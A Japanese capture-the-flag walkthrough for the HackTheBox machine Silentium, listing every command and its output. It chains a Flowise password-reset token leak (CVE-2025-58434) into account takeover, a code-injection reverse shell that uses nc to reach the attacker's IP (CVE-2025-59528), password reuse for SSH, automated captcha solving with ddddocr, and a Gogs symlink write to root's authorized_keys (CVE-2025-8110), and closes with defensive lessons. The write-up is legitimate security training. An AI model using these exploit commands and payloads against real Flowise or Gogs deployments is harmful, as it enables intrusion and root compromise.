HackTheBox: Silentium — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp, 80/tcp のみ
→
22/tcp, 80/tcp のみ
サブドメイン発見
staging.silentium.htb (Flowise)
→
staging.silentium.htb (Flowise)
CVE-2025-58434
forgot-password tempToken 漏洩
→
forgot-password tempToken 漏洩
CVE-2025-59528
CustomMCP Function() RCE
→
CustomMCP Function() RCE
SMTP_PASSWORD 使い回し
ben SSH ログイン
→
ben SSH ログイン
user.txt ✓
→
Gogs 外部到達確認
nginx Host ヘッダルーティング
→
nginx Host ヘッダルーティング
ddddocr でキャプチャ突破
dchest/captcha 自動登録
→
dchest/captcha 自動登録
CVE-2025-8110
symlink PutContents 任意書込み
→
symlink PutContents 任意書込み
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
sudo nmap -Pn -T4 -p- --min-rate 3000 10.129.245.103
RESULT
Nmap scan report for silentium.htb (10.129.245.103) Host is up (0.21s latency). Not shown: 64836 closed tcp ports (reset), 697 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
ℹ️
逆引きDNSで
silentium.htb が既に判明。ポートは 22 (SSH) と 80 (HTTP) のみという
非常にミニマルな構成。企業サイト1枚だけに見えるが、実際にはサブドメインに Web アプリが隠れている。
/etc/hosts にメインドメインを追加しトップページ確認
BASH
echo "10.129.245.103 silentium.htb" | sudo tee -a /etc/hosts curl -s -I http://silentium.htb/
RESULT
HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Content-Type: text/html Content-Length: 8753
ℹ️
構造化ファイナンス/プライベートクレジット向けの企業サイト(静的ページ)が表示されるのみ。
攻撃面はここには無く、サブドメイン列挙が次の鍵になる。
PHASE 2
サブドメイン列挙 — staging.silentium.htb の Flowise 発見
想定されるサブドメインを /etc/hosts に追加して直接確認
NOTE
本番の HTB 攻略では gobuster vhost / ffuf -H "Host: FUZZ.silentium.htb" での サブドメインブルートフォース(もしくは TLS 証明書 SAN、CT ログ検索)で発見する。 本検証では "staging" という典型的なステージング環境名を直接試行して即座に 命中した(Flowise のアイコン/タイトルが応答に含まれる)。
BASH
echo "10.129.245.103 staging.silentium.htb" | sudo tee -a /etc/hosts curl -s http://staging.silentium.htb/ | head -c 500 curl -s http://staging.silentium.htb/api/v1/ping
RESULT
<title>Flowise - Build AI Agents, Visually</title> ... pong
🚨
重要発見:
staging.silentium.htb に Flowise
(オープンソースの LLM/AIエージェント構築プラットフォーム) のステージングインスタンスが稼働中。
/api/v1/ping が応答することからバックエンドAPIにも到達可能と判明。
PHASE 3
CVE-2025-58434 アカウント乗っ取り → CVE-2025-59528 RCE → user.txt
CVE-2025-58434: forgot-password の tempToken 漏洩
NOTE
Flowise <= 3.0.5 の /api/v1/account/forgot-password は、メールアドレスを 送るだけで「本人確認なし」にパスワードリセット用の tempToken を そのまま JSON レスポンスに含めて返してしまう(CWE-306: 重要機能の認証欠如)。 つまりメールアドレスさえ分かれば誰でもパスワードリセットトークンを 入手できる。管理者アカウントのメールは ben@silentium.htb(Flowiseの ユーザー一覧/ソース上の既定管理者名から推測・確認)。
BASH
curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}'
RESULT
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin",
"email":"ben@silentium.htb","credential":"$2a$05$nbfdl3...",
"tempToken":"kuJs6ZlojGSiRsMLTVgXJQytO7A3PyhtJNHuxX4uGF3tekaHIy2bQAI3JhRkRcKU",
"tokenExpiry":"2026-11-01T07:09:22.034Z","status":"active", ...}}
🚨
認証なしで管理者アカウント (
name:"admin") の tempToken が
丸ごとレスポンスに含まれて返ってきた。これをそのまま reset-password に渡せば
アカウントを完全に乗っ取れる。
tempToken を使ってパスワードを強制変更(アカウント乗っ取り)
BASH
curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb",
"tempToken":"kuJs6ZlojGSiRsMLTVgXJQytO7A3PyhtJNHuxX4uGF3tekaHIy2bQAI3JhRkRcKU",
"password":"P3ntest!2026"}}'
RESULT
{"user":{"id":"e26c9d6c-...","email":"ben@silentium.htb",
"credential":"$2a$05$m/sPKLWILU6VdEFyxbRqtOhqU9DDWyErtuLgIDYP8kJJp/Bw7yU/G",
"tempToken":"","tokenExpiry":null,"status":"active", ...}}
✅
tempToken が空文字列になり、bcrypt ハッシュも変化 = パスワード変更成功。
これで ben@silentium.htb / P3ntest!2026 として完全ログインできる。
ログインしてセッション Cookie を取得
BASH
curl -s -c cookies.txt -X POST http://staging.silentium.htb/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"ben@silentium.htb","password":"P3ntest!2026"}'
RESULT
{"id":"e26c9d6c-...","email":"ben@silentium.htb","name":"admin",
"isOrganizationAdmin":true,"activeWorkspace":"Default Workspace", ...}
内部限定 API ヘッダのバイパスで Flowise API キーを取得
NOTE
セッション Cookie だけでは /api/v1/apikey は {"error":"Unauthorized Access"}
を返す。これは「フロントエンド内部からの呼び出し専用」であることを示す
x-request-from ヘッダのチェックが入っているため。このヘッダを Cookie と
一緒に付けるだけでチェックを通過できる。
BASH
curl -s -b cookies.txt -H "x-request-from: internal" \ http://staging.silentium.htb/api/v1/apikey
RESULT
[{"id":"dbb137c0-631d-4e5d-8ece-f73896813d2f",
"apiKey":"hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc",
"apiSecret":"19dda1ff9c...","keyName":"DefaultKey", ...}]
CVE-2025-59528: CustomMCP ノードの Function() コードインジェクション RCE
NOTE
CustomMCP ノードの convertToValidJSONString 関数は、ユーザー入力の
mcpServerConfig 文字列を JSON.parse() ではなく JS の Function() コンストラクタで
評価してしまう(CWE-94)。つまり JSON の皮を被った任意 JavaScript を
Node.js プロセス権限でそのまま実行できる。これを使い
process.mainModule.require('child_process') 経由でリバースシェルを起動する。
BASH
# リスナー起動 (別ターミナル)
nc -lvnp 4445
# RCEトリガー
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-H "Content-Type: application/json" \
-d '{"loadMethod": "listActions", "inputs": {"mcpServerConfig":
"({x:(function(){const cp=process.mainModule.require(\'child_process\');
cp.exec(\'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|
nc 10.10.15.200 4445 >/tmp/f\');return 1;})()} )"}}'
RESULT (nc :4445 リスナー側)
listening on [any] 4445 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.245.103] 44853 /bin/sh: can't access tty; job control turned off / # id uid=0(root) gid=0(root) groups=0(root)
✅
RCE成立! Flowise は Docker コンテナ内で動作しており、コンテナ内では
root として実行されている(コンテナ内 root ≠ ホスト root である点に注意)。
コンテナ env からホスト SSH 資格情報を回収
BASH
/ # env
RESULT
FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SENDER_EMAIL=ben@silentium.htb
SMTP_HOST=mailhog
SMTP_USER=test
SMTP_PASSWORD=r04D!!_R4ge
...
⚠️
紛らわしいトラップ:
FLOWISE_PASSWORD=F1l3_d0ck3r が
いかにも「本命」っぽく見えるが、これは Flowise アプリ自体のログインパスワード
(既にリセット済みで無効) であり、ホストOSのSSHパスワードではない。
実際にホストで再利用されているのは SMTP_PASSWORD=r04D!!_R4ge の方だった。
SSH ログイン & user.txt 取得
BASH
sshpass -p 'r04D!!_R4ge' ssh ben@10.129.245.103 "id; cat /home/ben/user.txt"
RESULT
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
6b28a75d246056b3c0fa71416b6531f9
user.txt — ben@silentium
6b28a75d246056b3c0fa71416b6531f9
PHASE 4
Gogs 発見 → キャプチャ自動突破 → CVE-2025-8110 symlink RCE → root.txt
ホスト内部調査 — Gogs サービスの発見
BASH
ben@silentium:~$ find / -iname '*gogs*' 2>/dev/null ben@silentium:~$ cat /etc/systemd/system/gogs.service ben@silentium:~$ cat /opt/gogs/gogs/custom/conf/app.ini
RESULT
/etc/systemd/system/gogs.service /opt/gogs/gogs/gogs --- [Unit] Description=Gogs Git Service [Service] Type=simple User=root ExecStart=/opt/gogs/gogs/gogs web --- BRAND_NAME = Gogs RUN_USER = root [server] HTTP_ADDR = 127.0.0.1 HTTP_PORT = 3001 DOMAIN = staging-v2-code.dev.silentium.htb [auth] DISABLE_REGISTRATION = false ENABLE_REGISTRATION_CAPTCHA = true
🚨
重大発見: Gogs が systemd で
User=root (RUN_USER=root) として
稼働中、かつ自己登録が有効 (画像キャプチャのみ保護)。127.0.0.1:3001 limited に見えるが…
Gogs は SSH/Ligolo 不要で外部から直接到達可能と判明
BASH
ben@silentium:~$ cat /etc/nginx/sites-enabled/*
RESULT
server {
listen 80;
server_name staging-v2-code.dev.silentium.htb;
location / {
proxy_pass http://127.0.0.1:3001;
}
}
BASH (Kali 側)
echo "10.129.245.103 staging-v2-code.dev.silentium.htb" | sudo tee -a /etc/hosts curl -s -I http://staging-v2-code.dev.silentium.htb/
RESULT
HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Set-Cookie: i_like_gogs=...; Path=/; HttpOnly
✅
nginx は Host ヘッダだけで vhost を振り分けており、内部/外部の区別が一切無い。
SSH ポートフォワードも Ligolo-ng ピボットも不要で、
/etc/hosts に1行足すだけで Gogs に直接到達できた
(公式ウォークスルーの目次には「Ligoloトンネル設定」とあるが、実機ではこちらがより単純な経路)。
登録フォームの画像キャプチャ(dchest/captcha)
NOTE
Gogs の自己登録は dchest/captcha ライブラリ製の「ドット書体」6桁数字 画像キャプチャで保護されている。素の tesseract OCR は完全に無力 (8枚テストして0枚成功)。理由はドット状にレンダリングされた書体で 連続したストロークを持たず、グレースケール閾値処理だけでは文字と ノイズ点を区別できないため。対して、軽量CNNベースの captcha 解読 ライブラリ ddddocr は実測で約40%/試行の精度が出た。登録成功/失敗は HTTPステータス (302=成功, 200=失敗) で機械的に判定できるため、 新しいキャプチャ画像を取得し直すリトライループ (最大20回) を組めば 累積成功率はほぼ100%になる。
PYTHON (キャプチャ自動突破)
import ddddocr, requests, re, random, string
det = ddddocr.DdddOcr(show_ad=False)
base = "http://staging-v2-code.dev.silentium.htb"
for i in range(20):
s = requests.Session()
r = s.get(f"{base}/user/sign_up", timeout=10)
csrf = re.search(r'name="_csrf" value="([^"]+)"', r.text).group(1)
capid = re.search(r'name="captcha_id" value="([^"]+)"', r.text).group(1)
img = s.get(f"{base}/captcha/{capid}.png", timeout=10).content
guess = re.sub(r"[^0-9]", "", det.classification(img))
uname = "si_" + "".join(random.choices(string.ascii_lowercase, k=8))
data = {"_csrf": csrf, "user_name": uname,
"email": f"{uname}@silentium.htb",
"password": "Pentest123!", "retype": "Pentest123!",
"captcha_id": capid, "captcha": guess}
r2 = s.post(f"{base}/user/sign_up", data=data, allow_redirects=False)
if r2.status_code == 302:
print("登録成功:", uname, "captcha=", guess)
break
RESULT
登録成功: si_i3xjclzf captcha= 247244 (1回目の試行で成功)
API トークン発行 & 空リポジトリ作成
BASH
# Basic認証でAPIトークン発行 (事前のWebログインは不要)
curl -s -u si_i3xjclzf:Pentest123! -X POST \
http://staging-v2-code.dev.silentium.htb/api/v1/users/si_i3xjclzf/tokens \
-H "Content-Type: application/json" -d '{"name":"pentest"}'
# 空リポジトリ作成 (auto_init:true を付けると 500 エラーになるため付けない)
curl -s -H "Authorization: token " -X POST \
http://staging-v2-code.dev.silentium.htb/api/v1/user/repos \
-H "Content-Type: application/json" -d '{"name":"poc"}'
RESULT
{"name":"pentest","sha1":"79771f6490a430fa2f682c0ef4bcac60d51b4a24"}
{"id":2,"name":"poc","full_name":"si_i3xjclzf/poc", ...}
リポジトリ外へ脱出するシンボリックリンクを push
NOTE
CVE-2025-8110 (Gogs <= 0.13.3, CVE-2024-55947 のバイパス): ファイル更新API (PutContents) は書込み先パスの文字列に対して "../" によるディレクトリ トラバーサルのみを検査しており、そのパスが「シンボリックリンクの先」を 指しているかどうかはチェックしない。先に通常の git push でそのパス名に シンボリックリンク (mode 120000) を置いておけば、後から PutContents API で 同じパスを「更新」した際、OS側はリンクを辿ってリンク先の実ファイルに 書き込んでしまう。Gogs は RUN_USER=root で動くため、リンク先を /root/.ssh/authorized_keys にしておけば root への書込みになる。
BASH
TOKEN=79771f6490a430fa2f682c0ef4bcac60d51b4a24 git clone "http://si_i3xjclzf:$TOKEN@staging-v2-code.dev.silentium.htb/si_i3xjclzf/poc.git" cd poc git config user.email pentest@silentium.htb git config user.name pentest echo poc > README.md git add README.md && git commit -m init && git branch -M master && git push origin master # 10段上の ../ で確実にリポジトリ外(ファイルシステムルート)へ脱出 ln -s ../../../../../../../../../../root/.ssh/authorized_keys pwn_link git add pwn_link && git commit -m addlink && git push origin master git ls-tree HEAD pwn_link
RESULT
[master (root-commit) ...] init
[master ...] addlink
create mode 120000 pwn_link
120000 blob 27306dcba5b269ed3d7bc30542fd85f75f3cb5bf pwn_link
PutContents API で symlink 実体 (authorized_keys) を上書き
BASH
# 攻撃者用 SSH 鍵ペアを生成
ssh-keygen -t ed25519 -f silentium_root -N "" -C pentest@silentium
B64=$(base64 -w0 silentium_root.pub)
SHA=27306dcba5b269ed3d7bc30542fd85f75f3cb5bf
curl -s -H "Authorization: token $TOKEN" -X PUT \
"http://staging-v2-code.dev.silentium.htb/api/v1/repos/si_i3xjclzf/poc/contents/pwn_link" \
-H "Content-Type: application/json" \
-d "{\"content\":\"$B64\",\"message\":\"update\",\"branch\":\"master\",\"sha\":\"$SHA\"}"
RESULT
{"commit":{...},"content":{"type":"symlink",
"target":"../../../../../../../../../../root/.ssh/authorized_keys",
"size":55,"name":"pwn_link", ...}}
✅
API のレスポンスは「symlink を更新した」と見せかけているが、実際には
OS 側で symlink を辿って
/root/.ssh/authorized_keys に攻撃者の
公開鍵を書き込んでいる。
root として直接 SSH & root.txt 取得
BASH
ssh -i silentium_root root@10.129.245.103 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
aa0a5f5b07c877785af907cdc3a33913
root.txt — root@silentium
aa0a5f5b07c877785af907cdc3a33913
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ben@silentium
6b28a75d246056b3c0fa71416b6531f9
root.txt — root@silentium
aa0a5f5b07c877785af907cdc3a33913
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2025-58434 | Flowise <= 3.0.5 | 認証なしアカウント乗っ取り | Critical (9.8) | forgot-password が tempToken を無認証でレスポンスに漏洩、reset-password に渡すだけで任意アカウントを乗っ取れる |
| CVE-2025-59528 | Flowise <= 3.0.5 (CustomMCPノード) | 認証後 RCE (CVSS 10.0) | Critical (10.0) | mcpServerConfig が JSON.parse でなく Function() で評価される。任意JS→child_process.exec でコンテナ内シェル獲得 |
| 認証情報使い回し | Docker env SMTP_PASSWORD | ホストSSHへの横移動 | Medium | コンテナ環境変数の SMTP_PASSWORD が、無関係に見えてホストの ben アカウントSSHパスワードと一致 |
| CVE-2025-8110 | Gogs <= 0.13.3 | root 権限での任意ファイル書込み→RCE | High (8.7-8.8) | PutContents API がファイル名のトラバーサルのみ検査しシンボリックリンク解決を考慮しないため、事前に push した symlink 経由でリポジトリ外 (/root/.ssh/authorized_keys) へ書込み可能 |
教訓・防御策
⚠️
パスワードリセットAPI: リセットトークンは絶対にAPIレスポンスへ含めず、
登録済みメールアドレス宛にのみ送信する。本人確認なしにトークンを返す設計は
CWE-306 (重要機能の認証欠如) の典型例。
⚠️
動的コード評価: ユーザー入力は常に
JSON.parse() で厳密にパースし、
Function() や eval() のような任意コード実行経路を構成に関わる入力へ
絶対に使わない。
⚠️
認証情報の使い回し禁止: SMTPやDocker内部用などの「用途限定」に見える
パスワードであっても、他システム (特にOSアカウント) へ使い回すと、無関係な
サービスの侵害が即座に横移動につながる。
⚠️
ファイル書込みAPIとシンボリックリンク: パス名の文字列検査
(ディレクトリトラバーサル対策) だけでは不十分。実際にファイルシステムへ書き込む
直前に
lstat() 等で対象パスがシンボリックリンクでないことを確認する
“write destination” 自体の検証が必要(CVE-2024-55947 の不完全な修正が
CVE-2025-8110 として再発した典型例)。
⚠️
内部サービスの外部公開: 「127.0.0.1 限定で安全」と思われがちな
バックエンドサービスも、リバースプロキシが Host ヘッダだけでルーティングする
構成では事実上インターネットに公開されているのと同じ。管理系サービスは
IP制限・VPN・mTLS等で多層防御する必要がある。
ℹ️
root 権限での不要なサービス実行: Git ホスティングサービス (Gogs) を
RUN_USER=root で動かす必然性は薄く、専用の非特権ユーザーで動かしていれば
本チェーンの影響はそのユーザー権限までに封じ込められていた。

